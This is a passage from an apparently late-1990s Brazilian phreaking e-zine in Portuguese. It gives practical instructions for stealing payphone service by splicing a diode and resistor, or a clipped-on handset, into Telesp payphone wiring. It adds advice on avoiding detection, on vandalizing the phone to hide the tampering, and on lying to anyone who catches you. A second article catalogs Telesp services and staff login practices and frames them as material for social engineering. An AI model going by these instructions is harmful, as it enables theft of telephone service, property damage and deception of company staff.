  ira desconfiar de  mim... assim, va entao no Cade ('www.cade.com.br') e na
  parte 'hackers', vera descricoes de paginas muito interessantes, do genero
  "deixe de ser  um lammer em telefonia, entre   na nossa homepage e seja um
  phearker.", ou "seja um hacker em 10 licoes".. bah! Tudo o qe esses lamers
  querem, e aumentar o numero  do Contador deles pra  impressionar os paren-
  tes! Voce entra la, e encontra apenas o Manual  do Tom Waits (nada contra,
  eu o considero ate hj um do melhores p/ iniciantes, apesar do Wiz4rd achar
  o dito cujo ridiculo).
  
  Porra! ja nao basta tomarmos no #hackers da Undernet um Ban *.br ainda tem
  gente querendo detonar ainda mais com a honra brasileira - Se voce esta se
  perguntando que honra temos, me desculpem as criancas, VAI SE FUDER, e vai
  ser explorado pelos americanos sua bicha. 
	Ta certo, que ate hoje, a maioria do material, e boxes sao de la. E
  dai ? Vamos fazer nossas proprias boxes, e coisa e tal.
  O que anda faltando aqui, e um pouco de iniciativa e criatividade da nossa
  parte, enfim, MECHAM A BUNDA! No nosso zine 1, vou explicar o que funciona
  mesmo, em materia de fazer ligacoes gratuitas de orelhoes.
  Nada de cartoes infinitos. Ate hoje tudo que vi, nada funciona. Ai voce me
  diz, "eu raspei com a  moeda e funcionou! ", besta ! o que aconteceu foi o
  seguinte: O credito do cartao nao tinha sido queimado direito. Entao, voce
  o raspando, a tinta sai, e pega o contato direto no credito. Ok ? :P
  A meu ver, acho ate ser  meio que impossivel, cartoes  infinitos, por dois
  motivos meio obvios:

  1). Pq os reparadores  da TELESP, usariam cartoes "comuns"  para testar os 
  orelhoes ? (Os cartoes deles  nao sao inifitos, e sim dezenas de unidades,
  coisa de 150 pra cima).

  2). Como os aparelhos funcionam ?
  Seguinte: Quando o fone e retirado do gancho, o processo basico e:
	
	- Inicio
	- Check-up geral dos componentes.
	- Caso ele  auto-detecte algum problema (muito raro), emite um sinal
	  ao CSA.
	- Le o chip com a msg. Tipo: "Boa Noite", "Feliz Natal".
	- Verifica se ha cartao na unidade.
	- Havendo, conta-se os creditos, e e indicado no Display.
	- Faz-se a ligacao. Caso  seja um numero valido, ele tenta queimar a
	  unidade(s) necessaria(s) para se completar a ligacao. Conseguindo,
	  a ligacao e concluida, caso contrario ela cai.

  Agora  pergunto-me: "Se os cartoes infinitos nao  deixam as unidades serem
  queimadas, como a ligacao poderia ser concluida ?
  BeM...  O Prof. Pardal que inventou o cartao infinito, e q deve ter a res-
  posta.
  PS: O "processo" descrito  como a rotina  de um TPC (tp a cartao), e ainda
  bem mais simples  que a original. Ilustrei  apenas o  fato da  delecao das
  unidades e como elas funcionam.

  [Nota do Wiz4rd: E possivel  fazer-se o orelhao acreditar que existem mais
  creditos dq o normal, mas ligacao infinita.. pelo que eu saiba so mechendo
  nos fios ;) ].

	Agora, o que  existe, e recarregamento d cartoes, como fazia o Hazer
  (o nome dele e outro) e sua turma qe foram presos. O pessoal e gente fina,
  mas eles marcaram  demais tambem.. alem de venderem cartoes muito mais ba-
  rato, compravam cartoes descarregados em frente a TELESP..
  Pelo  menos ficaram famosos, sairam no Jornal Nacional. ha ha ha.

  Ok. a cansado de comprar ficha e cartoes ?
  Vamos ao que funciona:

  1. Orelhoes a Ficha

  Sao os mais faceis, o que voce precisa e:

  - 1 Diodo IN4007 (R$ 0,10)
  - 1 Resistor 27k 1W (R$ 0,20)
  - 1 Alicate de Bico (Para puxar o fio)
  - 1 Estilete bem afiado

	Pronto, so isso. Agora, escolha um orelhao a ficha, qe seja suspenso
  por cano (aqueles de cabine de cimento e mais foda). Pelo buraco que  eles
  tem no parafuso, enfio  o dedo e puxe o  fio para perto do buraco. Pegue o
  alicate de bico e puxe o fio para fora. Descasque-o.
  Agora coloque o diodo e resistor assim no fio:
	       
	       Fio1    Fio2 
		|       |
		|       |
		|---D---|
		|---R---|
		|       |
		|       |


  Pronto, agora o orelhao nao pede mais fichas.. Apenas a cada ficha q teria
  de pedir, ele da uma pausa d 1 seg. Simples nao ? Entao para que pagar fi-
  cha ? So nao se esqueca d depois de usar, tirar o diodo e o resistor e co-
  locar o fio de  volta no cano, e nao contar  para todo mundo, querendo dar
  uma d esperto...
  
  PS: Se nao funcionar inverta o diodo e o resistor.
      Tente usa-lo somente entre as 22:00 e 4:00...


  2. Telefone a carto 

	O modelo acima, so funciona  no nos TPCs (tps a cartao), antigos, os 
  primeiros modelos. E agora ? Vou ter qe pagar telefonema interurbano ?NAO!
  Tem um jeito que elaborei. Fica meio grande, mais funciona.
  Veja o que precisa:

  - todos os equipamentos acima descritos
  - 1 Aparelho de Telefone (o menor possivel)
  - 1 mt de fio de telefone (cinza)
  - 2 jacares (R$ 1,00. Para facilitar sua vida)

  Pegue o fio e coloque  o diodo e resistor entre os dois fios. Coloque os 2
  jacares numa das pontas e na  outra coloque o telefone. Fica mais ou menos
  assim:
	 
	   D- Diodo
  Jacares  R- Resistor
   }>------------------\       ________
	       D R      \----- ( )  ( )
	       | |      /----- Aparelho    
   }>------------------/      de Telefone

  Agora voce ja tem sua aparelhagem, descasque os fios do TPC, vc notara uma
  diferenca... Em uma das extremidades, tera um fio mais grosso, despreze-o,
  e o terra. Pegue a outra extremidade, os dois fios estao la.. descasque-os
  com  cuidado para nao corta-los pois eles sao finos e estao juntos.
  Pegue os 2 jacares e coloque um em  cada fio. Se eles nao estiverem inver-
  tidos, vera que o seu aparelho de telefone "tem linha".

  
  Algumas dicas uteis:

  * Faca essas merdas, em horarios onde a poucas pessoas nas ruas..

  * Leve sempre as ferramentas em uma pochete ou mochila.
  
  * Escolha lugares o mais desertos possiveis.

  * Nunca deixe vestegios. (Leve os plasticos  dos fios que descascou, reco-
   loque o fio pra dentro do cano, tire o resistor e o diodo.)

  * Se cortar  o fio do orelhao, deprede-o. E melhor  a TELE** achar que foi
    um vandalo que passou por ai, ao inves de um phreaker.

  * Caso alguem o surpreenda, diga que esta estudando TELECOMUNICACOES, e
    estava operando no orelhao para um trabalho da escola  =)

  Lamer, phreak   -> arte d mecher com os fones...
	 phreaker -> quem  faz phreak.
  
  
  -=[ NOTA ]=-

	Phreakers do Brasil contacte-nos, estamos trabalhando em varios pro-
  jetos.. seria legal q mais gente participasse.
  
								    KosMOS


<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
				   - 20 -

			 -------------------------
			 - Dissecacao Telefonica -
			 -------------------------

  1.) Introducao
  2.) Servicos - P/ negocios
    2.1.)  BIS
    2.2.)  Central CPA
    2.3.)  TeleMarketing
    2.4.)  Despertador
    2.5.)  Data Send
    2.6.)  Discagem a cobrar
    2.7.)  Comunicacao de Dados
    2.8.)  SPM Data
    2.9.)  Telecard
    2.10.) Video Texto
    2.11.) 0800
    2.12.) 0900/900
  3.) Servicos - P/ comunicacao de dados
    3.1.)  SLDD
    3.2.)  SPDADOS
    3.3.)  SPABAX
    3.4.)  SPPAC
    3.5.)  SPFAST
    3.6.)  SPVIFP
    3.7.)  DATAFONE
  4.) Secao 103
  5.) Termos
  6.) Bibliografia
  
  
  []=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]


	Esse texto foi feito por Worm_root e Axcel, escritores da AXUR05 co-
  mo uma forma de destrinchar os protocolos e servicos oferecidos pela Tele-
  fonica de Sao Paulo, a Telesp. Devido  ao grande atraso por parte do nosso
  zine AXUR05, decidimos colocar esse texto adisposicao d todos, antes q ele
  se torna-se antigo..
  Note q o MOS nao possui nenhuma relacao com a AXUR05, e vice-versa, apenas
  acho q o Masters Of Shadow e um grupo serio e por isso temos muito orgulho
  d eles terem nos deixamo publicar essa materia no zine...

							       W_rt/Axcel

 []=[ 1. Introducao ]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=

	 Esse texto faz parte  das outras ja existente s centenas, que visam
  destrinchar a Telesp e as comunicacoes em si, pois o que temos vistos, sao
  apenas lamers que ficam destruindo orelhoes e expalhando truques idiotas q
  nao funcionam, p/ ligar d graca..
	Nossa telefonia  nao e tao ruim como  pensam alguns, com um pouco de
	cerebro, da pra brincar bastante... AKi nos nao vamos tratar d saca-
  nagens telefonicas, e sim dar uma explicacao basica da arquitetura da nos-
  sa linda Telesp, entao, foda-se..
  Voce com certeza pode  usar essas explicacoes em engenharias sociais.. sei
  la..
     
  NOTA: Acreditamos que todas as informacoes aqui contidas estao corretas,
  do contrario, avise-nos que a  corrigiremos. Muitas das informacoes aqui
  fornecidas, podem ser encontradas  na homepage da Telesp, ou na propria
  Lista Telefonica... :P


  []=[ 2. Servicos - Empresas ]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]

	 Abaixo, vai uma descricao sobre os  Servicos que a  Telesp realiza,
  voltados para empresas e  executivos, de forma a aumentar sua pobre renda.
  Alem de Cia. Telefonica, a Telesp presta varios outros servicos..

  2.1.) B.I.S. - Banco Interativo de Servicos

	 O BIS e um sistema de comercio eletronico, que permite realizar di-
  versas operacoes  financeiras on-line com "seguranca e sigilo"(eles adoram
  essas 2 palavras!). Esse servico e disponibilizado pela Telesp, sendo ati-
  vo 24h/dia.
  Ele permite  varios tipos de operacoes, como  por  exemplo: compra e venda
  (inclusive cheque  eletronico, que permite pagar compras com cartao magne-
  tico), consulta ao banco de dados da SERASA (qe informa sobre cheques rou-
  bados, cancelados, extraviados, sustados, d eminentes de cheque sem fundo,
  entre outras coisas...).
  O BIS tambem permite  por parte do vendedor, a confirmacao dos dados liga-
  dos ao telefone do cliente.
	Toda a comunicacao da empresa com o BIS, e feita por um terminal es-
  pecial, conectado  a sua linha  telefonica. A esse terminal, ficam ligados
  uma impressora p/ emissao dos comprovantes de venda, e um  Pin Pad, dispo-
  sitivo composto de teclado  reduzido, uma pequena tela de cristal liquido,
  e uma leitora de cartoes magneticos debito/credito.

	O uso do Cheque Eletronico  e assim: o cartao  de debito do banco do
  cliente e passado  pela leitora de cartoes do  terminal. Ele se conecta ao
  servico BIS, que efetua toda a transacao, bastando para isso qe o consumi-
  dor digite a senha do cartao magnetico. O valor da compra e entao debitado
  da conta do cliente  e creditado eletronicamente na conta do lojista, res-
  peitando prazos semelhantes ao da compensacao do cheque papel.
  O B.I.S. permite ao  lojista utilizar o  Cheque Eletronico nas modalidades
  a vista, pre-datado ou parcelado. C o cliente nao tiver ou nao quiser usar
  um cartao eletronico  e preferir dar  um ou mais cheques, voce pode usar o
  terminal para acessar na hora os servicos de consulta a SERASA e obter in-
  formacoes sobre o cheque.
  Para maior seguranca, e  possivel conferir  os dados fornecidos por ele u-
  sando o Telefacil: voce digita pelo terminal o DDD, o numero do telefone e
  mais o CPF ou CGC do cliente. O Telefacil confirma se o documento pertence
  ao assinante daquele telefone, informa a classe da linha (residencial, co-
  mercial, telefone publico ou celular) e o endereco.
 
  Infos: 0800-11-1485.
       

  2.2.) Central CPA - Central por Programa Armazenado

	As centrais CPA, sao conhecidas pela Telesp, como as "centrais inte-
  ligentes", pois oferecem alguns servicos realmente interessantes, como por
  exemplo  conferencia, bloquear  a efetuacao de  chamadas DDD, e ate  mesmo
  tranferir a ligacao ara/ um outro numero que voce escolha.
  Essas  porrinhas, sao sistemas  digitais, controlados por computadores, os
  quais usam o  telefone como terminais. Essas centrais  sao muito boas para
  coneccoes de modems, e pouco a pouco sao instaladas no estado de SP.
	 Para saber se o seu telefone esta ou nao ligado a uma linha de CPA,
  o jeito mais facil e ligar no 104 e perguntar. Para os qe nao tem CPA, po-
  de-se ser solicitado a Telesp a troca da sua linha.

	A CPA funciona pois e  totalmente digital, ao  contrario das antigas
  centrais eletromecanicas. Para usar, voce precisa de um aparelho de teclas
  multi-frequencial. Existe varios comandos  disponiveis, os quais estao ex-
  plicados na Lista.
  Consultando-se a  HP da Telesp, e possivel ascessar a  tabela de precos..
  Cada facilidade ("servico") da CPA, e  cobrado mensale e  individualmente,
  na conta telefonica. A troca da linha e cobrada a parte, mas se vc contra-
  tar uma das facilidades, a troca e gratuita  =)


  2.3.) Central Telemarketing

	Trata-se de  um espaco fisico  com infra-estrutura, para que uma em-
  presa  realize a merda  do telemarketing. A Telesp  aluga esse espaco para
  empresas interessadas.
  Nesse espaco, ficam a disposicao: linhas telefonicas, estacoes de trabalho
  (60 posicoes d atendimento) com mesa, cadeira e aparelho com headset, sala
  de reuniao, escritorio virtual com fax, computador  ligado ao servico Plug
  Facil, fotocopiadora LP de 9600 bps, tarifador e ar condicionado.

  *** Apesar de detalhista, essas informacoes sao muito uteis quando se pre-
  cisa fazer ES nessas empresas. He He He...
  
	 A CT da  Telesp fica em SP, na  Rua 7 de Abril,  309, 2. Andar. Ela
  funciona de segunda a domingo, das 9h as 21h, ou no horario que o  cliente
  precisar.
  O sistema de aluguel e por posicao de atendimento. Um tarifador computa as
  chamadas telefonicas, o horario e o tempo de duracao de cada uma, registra
  as ligacoes que deram ocupadas e monitora a conta telefonica do cliente. 
	Voce pode usar um numero de fone fornecido pela Telesp ou o seu pro-
  prio numero pra receber ligacoes. Nesse caso, as chamadas sao transferidas
  sem problemas da sua empresa para a Central de Telemarketing.
  Os recursos como fotocopiadora, fax e LP sao opcionais e cobrados a parte.
  Se precisar usar microcomputadores, o cliente devera fornece-los.

  Infos: 0800-130-000


  2.4.) Servico Despertador

	 Esse servico, possibilita  que o usuario, "programe" uma hora, para
  ser  acordado, ou lembrado de um certo  compromisso. Ele e disponivel para
  qualquer  fone da regiao  metropolitana de  SP (area 011), exceto  o ABCD,
  TP's publicos e fones com ramais. C na hora de programa-lo vc fizer merda,
  uma operadora simpatitca ira atende-lo.
  Na hora programada, o telefone vai  tocar; ao atender, uma gravacao idiota
  vai te dizer: "Telesp, Servico despertador chamando voce".
  OBS.: O servico  nao fica disponivel entre 23:55 e 00:05 (mas pode-se pro-
  gramar o Servico para chamar nesse periodo.)


  2.5.) DataSend

	Sao "instalacoes" destinadas a comunicacao d dados(transmissacao/re-
  cepcao) em  nivel pessoal. Elas existem em varios locais, como por exemplo
  nos postos da Telesp dos aeroportos de Cumbica e de Congonhas, no Posto de
  Servico da Telesp da  rua Sete de Abril e no Posto de Servico da Telesp do
  Pavilhao de Exposicoes do Parque Anhembi, que funciona durante as feiras e
  exposicoes. Cada terminal, esta equipado com duas linhas(voz/dados), liga-
  das a conectores RJ11 ou padrao Telebras, moveis, ar-condicionado e tomada
  de 110V com fio-terra.
	O DataSend pode ser usado por qualquer pessoa q precise fazer trans-
  missao/recepcao  de dados usando computadores portateis. Basta pedir a re-
  cepcionista do Posto d Servico p/ ter acesso as instalacoes e usar as duas
  linhas como se fossem suas, pelo tempo que for necessario.
  Um tarifador  automatico registrara o  tempo de uso  das linhas, o  numero
  chamado e o valor a ser cobrado.


  2.6.) Discagem a Cobrar

	Possibilita q um certo usuario, faca chamadas a cobrar, s/ o auxilio
  da telefonista. Voce disca 9 + DDD (mesmo em ligacoes  locais) + numero. A
  pessoa que atender ouvira uma gravacao informando qe a ligacao e a cobrar.
  A tarifacao comeca  seis segundos apos o inicio da gravacao. Assim que uma
  das pessoas desligar, a ligacao para de ser cobrada.
  Em ligacoes locais, a tarifa e identica a d um interurbano para uma cidade
  a ate 50km de distancia(Degrau Tarifario 1 ou D1). Interurbanos tem tarifa
  normal. Se a chamada for para um telefone  celular, sera cobrada taxa pro-
  pria do Servico Movel Celular.


  2.7.) COM Dados - Comunicacao de Dados

	Essa comunicacao, visa oferecer uma boa conexao entre equipamentos d
  processamento d informacoes. Desde uma ligacao PPP via linha dedicada, ate
  a formacao de uma  rede virtual dentro  de uma das redes da Telesp. Assim
  como na CPA, cada uma das  facilidades e contratada  individualmente, se-
  guindo orientacoes da SPCONSULT, a consultoria q a Telesp oferece gratui-
  tamente as empresas que sao clientes dos Servicos de Comunicacao de Dados.


  2.8.) SPM Data - Servico Publico de Mensagem
       
	 He he he... we also have our own VMB's!!
	O Servico Publico de  Mensagens pode funcionar como um Telefone Vir-
  tual ou guardar todos os recados  quando ninguem puder atender (iguais aos
  "Telefones Inteligentes" do RS).

  Telefone Virtual 

	Milhares de profissionais q nao tem telefone ou que tem empresa fora
  de SP ja podem ter  pelo menos  seu "Telefone Virtual" na cidade. O SPM, e
  como um "voice mail" ao qual  se tem acesso discando um numero telefonico.
  Cada assinante do Servico Publico d Mensagens recebe um numero d telefone,
  e pode forneco-lo como se fosse o do seu proprio telefone.
  Para personalizar o atendimento, pode-se gravar uma saudacao c/ a sua pro-
  pria voz ou com a voz eletronica do sistema. Assim, quem liga pensa q dis-
  cou para a empresa do assinante e que esta sendo atendido por uma secreta-
  ria eletronica.
  Para ouvir as mensagens, basta apenas ligar para o "Telefone Virtual", di-
  gitar uma senha e seguir as indicacoes.
  So nao sao aceitas as chamadas a cobrar.
  
	Para pedir o Servico, basta discar 104 mais os 3 primeiros digitos d
  qualquer telefone  de SP. O servico  custa de R$ 9,00 a R$ 11,00, cobrados
  mensalmente numa conta telefonica enviada para qualquer endereco da cidade
  de SP.


  2.9.) Telecard

	 Atraves desse "cartaozinho", uma pessoa pode falar com qualquer te-
  lefone do Brasil  ou do mundo, sem ter que pagar nada na hora. As despesas
  sao depois debitadas na conta telefonica do cara...
  Cada cartao tem um  numero fornecido  pela TELESP, e uma  senha  escolhida
  pelo cliente. Para c fazer uma ligacao nacional, e preciso discar 080111 e
  a senha (quatro digitos). Uma  gravacao solicita  o numero do  cartao, que
  deve ser discado, e a ligacao e liberada depois que o sistema checa os da-
  dos.
 
  Para ligacoes internacionais, ha dois procedimentos: 
 
  1. Se voce estiver em TP(Telefone Publico), disque 107 e diga a telefonis-
  ta que deseja fazer uma chamada internacional atraves do Telecard.
 
  2. Se estiver em  telefone comum, disque 000107 + a senha (quatro digitos)
  e forneca o numero do cartao a telefonista.

  A alteracao da  senha pode ser feita por telefone, discando-se 0801 + 99 +
  a senha antiga e seguindo as orientacoes.
	O Telecard pode ser adquirido nas lojas da Telesp mediante contrato.
  Tanto o numero quanto a senha sao liberados na hora, e o cartao fica pron-
  to em no max. 30 dias. Para  cancelar o cartao, basta tambem ir a uma loja
  Telesp.


  2.11.) 0800 Avancado

	 O servico 0800 Avancado  e um canal de comunicacao entre empresas e
  clientes. Ele liga e a empresa paga. Ele e muito  usado em vendas, atendi-
  mento ao consumidor, telemarketing, pos-venda, sugestoes, pesquisa de mer-
  cado, tele voto, televendas...
	Ligado a  qualquer linha telefonica nao-residencial, um unico numero
  0800 pode ser acessado de  qualquer ponto do pais. Nenhuma chamada do 0800
  deixa de ser atendida; e as tarifas cobradas d quem recebe as chamadas tem
  desconto progressivo. Alem  disso, ha um conjunto de facilidade$ que podem
  ser contratadas individualmente.

  Numero universal - Permite identificar  a empresa em nivel nacional, atra-
  ves de um unico numero 0800, independentemente da localizacao de seus cen-
  tros de atendimento;
 
  Agendamento por horario - Permite se especificar, em funcao do horario, p/
  onde deverao ser encaminhadas as chamadas; 

  Agendamento por data - Permite se especificar, em funcao da data ou dia da
  semana, para onde deverao ser encaminhadas as chamadas; 

  Selecao de origem - Permite se especificar, em funcao da origem, para onde
  deverao ser encaminhadas as chamadas; 

  Restricao de acesso por Telefone Publico - Permite se bloquear o acesso de
  chamadas telefonicas originadas de Telefones Publicos; 

  Restricao de area de abrangencia - Permite-se bloquear  as areas das quais
  nao deseja receber chamadas; 
	  
  Reencaminhamento - Permite se definir outros centros de atendimento para o
  caso de chamadas nao completadas em determinado centro; 

  Distribuicao sequencial - Permite distribuir as chamadas pelas diversas a-
  tendentes em cada centro de atendimento, dando prioridade a primeira aten-
  dente livre, obedecendo a uma sequencia previamente determinada; 

  Distribuicao ciclica - Permite distribuir as chamadas pelas diversas aten-
  dentes em cada centro de atendimento, obedecendo a uma ordem ciclica, pre-
  viamente determinada; 

  Distribuicao percentual - Permite se  distribuir o volume  de chamadas, de
  forma percentual, para ate dez diferentes centros de atendimento; 

  Mensagem padronizada - Permite  se prestar informacoes padronizadas quando
  nao for possivel atender as chamadas. 

  ** Lamers, um numero 0800 funciona como se fosse um "apelido" p/  os fones
  ja disponiveis na  empresa, que pode conserva-lo mesmo que o endereco e os
  telefones mudem.


  2.12.) Servico(s) 0900/900

	 Por meio dos  telefones 0900/900, usuarios  de todo o pais pode ter
  acesso a centenas de servicos telefonicos de informacao.
  Atualmente, existem cerca de 450 numeros com o prefixo 900 ou 0900. 
  Os numeros 0900 tem abrangencia nacional e os numeros 900 funcionam apenas
  dentro do Estado de SP. Nao e  preciso discar o DDD para acessar os servi-
  cos. O usuario que ligou para o 0900/900 recebe a informacao do provedor d
  tres formas:

  * mensagem gravada (por exemplo, historias infantis ou piadas);
  * viva voz (nesse caso, o provedor necessita d estrutura d telemarketing);
  * atendimento interativo com navegacao, quando e preciso selecionar alter-
    nativas (horoscopo, por exemplo, onde se escolhem signos). 

	 A infra-estrutura basica desses sistemas e a seguinte:no minimo 120
  linhas especiais, ligadas por fibra optica a uma central, que se encarrega
  de bilhetar as ligacoes.  Estas linhas sao disponibilizadas, c houver con-
  dicoes tecnicas, na cidade de SP.
  A TELESP  instala as linhas e  o equipamento necessarios  para conecta-las
  (Elo-mux); as outras instalacoes (micro-computador, PABX, DAC, etc.) sao d
  responsabilidade do provedor de informacao. 

	Para poder se ter esse servico, deve-se ser  pessoa juridica, legal-
  mente constituida e deve se responsabilizar  pela producao, conteudo e di-
  vulgacao do servico, que e obrigatorio
  P.s.: Nao se e possivel ascessar esse servico atraves de TP's.


 []=[ 3. Servicos - Comunicacao de Dados ]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=
 
	Explicacoes sobre os servicos oferecidos pela Telesp, voltados a Co-
  municacao de Dados.


  3.1.) SLDD

	SLDD - ou Servico por  Linha Dedicada p/ Sinais Digitais - e um ser-
  vico para interligacao PPP ou ponto-multiponto de dois ou mais equipamento 
  de comunicacao de dados, dentro do Estado de SP.
  Os circuitos ficam a servico  exclusivo do  cliente 24 horas/dia. Eles (os
  circuitos) sao linhas privadas, instaladas pela Telesp para ligar um ponto
  a outro ou um ponto a outros quatro (por meio de derivacoes), permitindo a
  comunicacao d dados em velocidades de 1,2 Kbps ate 14,4 Kbps, d acordo com
  as caracteristicas da aplicacao.
  Utilizando sistemas digitais, o SLDD permite o uso e velocidades d 64 Kbps
  e 2 Mbps, transparentes a protocolos.

  Infos: 0800-1-32367 ou 0800 1 DADOS ;)


  3.2.) SPDADOS

	A SPDADOS e uma linha d Servicos Digitais destinada a interligacao d
  dois ou mais  pontos, conectando equipamentos que podem trocar dados a ve-
  locidades qe podem variar de 1,2 Kbps a 2 Mbps. Com a SPDADOS, uma empresa
  pode interligar  seus CPDs, suas filiais  e, se for o caso, ate clientes e
  fornecedores, formando com eles uma rede "confiavel e de qualidade".
  
  [Nota dos autores: Ha Ha Ha Ha Ha Ha Ha Ha....]       

	A SPDADOS estabelece  uma conexao fisica  entre os pontos designados
  pelo cliente, e pode  ser utilizada para o trafego  de voz, dados ou mesmo
  imagens, na combinacao que os seus equipamentos permitirem. Ha facilidades
  adicionais, como  compressao de voz, aplicacoes em  Fax G3, conferencia de
  voz e circuitos alternativos (de reserva).
       
  Infos: 0800-1-32367/0800 1 DADOS


  3.3.) SPABX

	Um dos propositos mais basicos do SPABX, e a possibilidade de inter-
  ligar equipamentos  PABX a central  da Telesp por sistemas tambem digitais
  (radios digitais, fibras opticas, PCMs e outros equipamentos).
  A interligacao digital implantada pelo SPABX conecta o PABX de uma empresa
  a Central Telefonica Publica mais proxima, por meio de equipamentos qe su-
  portam velocidades de ate 2 Mbps.
  Essa coneccao, visa flexibilizar e dar rapidez ao trafego de telefonia e d
  dados, otimizando as vias de comunicacao.


  3.4.) SPPAC              

	 O objetivo basico  da SPPAC, e a coneccao  entre computadores. Pela
  SPPAC, qualquer tipo de computador pode ser conectado a outro. Esse tipo d
  servico, e realizado para conexcoes de alta duracao, e baixo trafego.
  O SPPAC utiliza uma tecnologia de comutacao por pacotes, com pontos d pre-
  senca em todo o Estado de SP. Ela permite tambem conexcao a outras redes d
  pacotes publicas e privadas, tanto nacionais quanto internacionais. Ele e'
  um ambiente de  comunicacao de dados que pode conectar terminais a veloci-
  dades e protocolos diferentes, o que simplifica qualquer conexao.
  Toda a compatibilizacao entre os terminais e feita pelos no's da SPPAC.
  
	O acesso pode ser dedicado ou  comutado. No primeiro  caso, a Telesp
  instala uma linha dedicada(SLDD) para esse fim no local indicado pelo cli-
  ente; no segundo caso, basta usar o modem e discar para o telefone d aces-
  so comutado da SPPAC.
  O preco cobrado pelo servico varia de acordo com o trafego de dados gerado
  pelo cliente.


  3.5.) SPFAST

	A SPFAST e uma linha de servicos de comunicacao de dados que utiliza
  o protocolo Frame Relay. Equipamentos conectados por meio  dela trocam da-
  dos a velocidades de  64 Kbps a 2 Mbps. Portanto, e destinada a aplicacoes
  que exigem  alta velocidade e baixo tempo de resposta. Por exemplo, na in-
  terligacao de elementos de redes, como bridges e routers.
  A SPFAST e contratada com base em tres variaveis: 

  a) o Acesso FR, que  e a conexao fisica, mais  a porta frame relay na rede
    SPFAST - ao contratar o acesso, o cliente escolhe uma velocidade na fai-
    xa de 64 Kbps a 2 Mbps; 
 
  b) os PVCs ou circuitos  virtuais permanentes, que sao as conexoes logicas
    (feitas por meio da rede SPFAST e nao PPP) estabelecidas entre os locais
    determinados pelo cliente e; 

  c) a Taxa de Transmissao  Contratada, que e a velocidade de comunicacao de
    cada circuito virtual permanente, conforme  suas necessidades de trafego
    (de 16 Kbps a 1 Mbps). 

	Assim, um cliente pode contratar um acesso de 2Mbps para a  matriz e
  taxas de transmissao  de 1 Mbps e 128 Kbps para duas filiais, por exemplo.
  As aplicacoes praticas  da SPFAST incluem  interligacao de redes locais na
  mesma cidade ou em diferentes cidades do Estado, interligacao entre compu-
  tadores e  terminais, intercambio eletronico de documentos (EDI) e compar-
  tilhamento de tela estao entre as aplicacoes mais interessantes.
  Para usuarios com  baixo trafego, medio ou com trafego de volume desconhe-
  cido, esta disponivel  a SPFAST EL (Entry Level), cuja tarifacao e baseada
  no volume de dados efetivamente transmitidos - nao e contratada uma deter-
  minada taxa  de transmissao. Usuarios  com trafego maior  usam a SPFAST HP
  (High Performance), podendo contratar taxas d transmissao tao altas quanto
  o Acesso FR.


  3.6.) SPVIP

	Atraves de um estudo das necessidades e caracteristicas de comunica-
  cao do cliente, a SPVIP  viabiliza solucoes  integradas para voz,  dados e
  imagem. Por meio desse servico sao projetadas, solucoes corporativas c/ um
  "atendimento diferenciado" :P  ---> VIP hahaha...

  Infos.: 0800-1-32367/0800 1 DADOS


  3.7.) DATAFONE64

	O DATAFONE64, e como  uma linha telefonica comutada. No entanto, ele
  e digitalizada de ponta a ponta - enquanto que normalmente as linhas so se
  tornam digitalizadas  ao chegarem a estacao Telesp mais proxima. Por isso,
  e uma linha bem rapida para comunicacao de dados/voz.
  Ele e muito usado em videoconferencia, troca de arquivos de dados, automa-
  tizacao de transacoes financeiras, ...
 
  Infos.: 0800-1-32367/0800 1 DADOS


  []=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]


  4.) Secao 103 - Funcionamento

	Quando voce discar 103, ira cair no(a) Gabiru Atendente, qe lhe per-
  guntara qual o problema do telefone, e tentara identificar a causa atraves
  das descricoes. Sao mais ou menos 50 atendentes  por regiao, que trabalham
  por turnos. 
  Curiosidade: Os atendendentes tem um monte d regras a serem cumpridas, por
  exemplo: eles nao podem  desligar a ligacao (voce pode xingar a mae deles,
  chamar a atendente para  um Sexfone e ela nao pode desligar!), ou seja, se
  precisar obter informacoes, disque e pergunte tudo... o que ela souber ela
  vai te falar...
  So nao seja lamer o bastante d dar bandeira, porque todas as conversas sao
  gravadas, e possivelmente podem ser rastreadas se necessario.

  Bom, voltando... caso seja constatado o problema, a atendente solicitara
  um reparador para sana-lo.


  []=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]


  5.) Termos

     Abaixo vao alguns termos usados pelos tecnicos e operadoras... Se voce
  nao sabe o quefazer com eles, so nao estrague tudo ok?

  APA's         - Telefone comuns, aparelhos residencias.
  TP's          - Telefones Publicos(orealhao, caralho!!).
  TP's Moedeiro - Tp a ficha.
  Tp's a cartao - TP a cartao.
  Tepezeiro     - Reparador de TP's.
  Reparador     - Reparador de APA's.

  CSA - Central Servico Automatizado. E um  sistema, que cadastra e controla
  todos os TP's a cartao, totalmente automatizado que se auto-acusa um erro.
  Ex. Falha de monofone.
  Nota: o CSA nao e ligado a rede central da Telesp, sao computadores isola-
  dos (486 e 386) nos quais sao cadastrados os TP's .

  CPA - Centrais Telefonicas com controle por programa armazena. Que sao li-
  nhas controladas por computadores, qe contem varios servicos automatizados.
  Ex. Aquele BIP, do atendimento simultaneo. 
  
  TeleCARD - Cartao Telefonico, valido  em todo territorio  nacional, e  ate
  mesmo no mundo.
 
  QTC1 - Taxa de reclamacoes d defeito em APA's(reclamados 1 vez somente).
  QTC2 - Taxa de reclamacoes d defeito em APA's(reclamados 2 ou mais vezes).
  QTP1 - Taxa de reclamacoes d defeito em TP's(reclamados 1 vez somente).
  QTP2 - Taxa de reclamacoes d defeito em TP's(reclamados 2 ou mais vezes).
 
  BG - Boletim Gerencial, atraves dele se  organizado todos os dados de re-
  clamacoes, aparelhos por  regiao, metas e  outros. E um "programa", total-
  mente feito em macros do Excel.

  RE - Registro da TELESP, cad a funcionario tem o seu RE (seria como um nu-
  mero de identificacAo), tanto q o login de acesso a rede da TELESP e feito
  por RE e senha. 


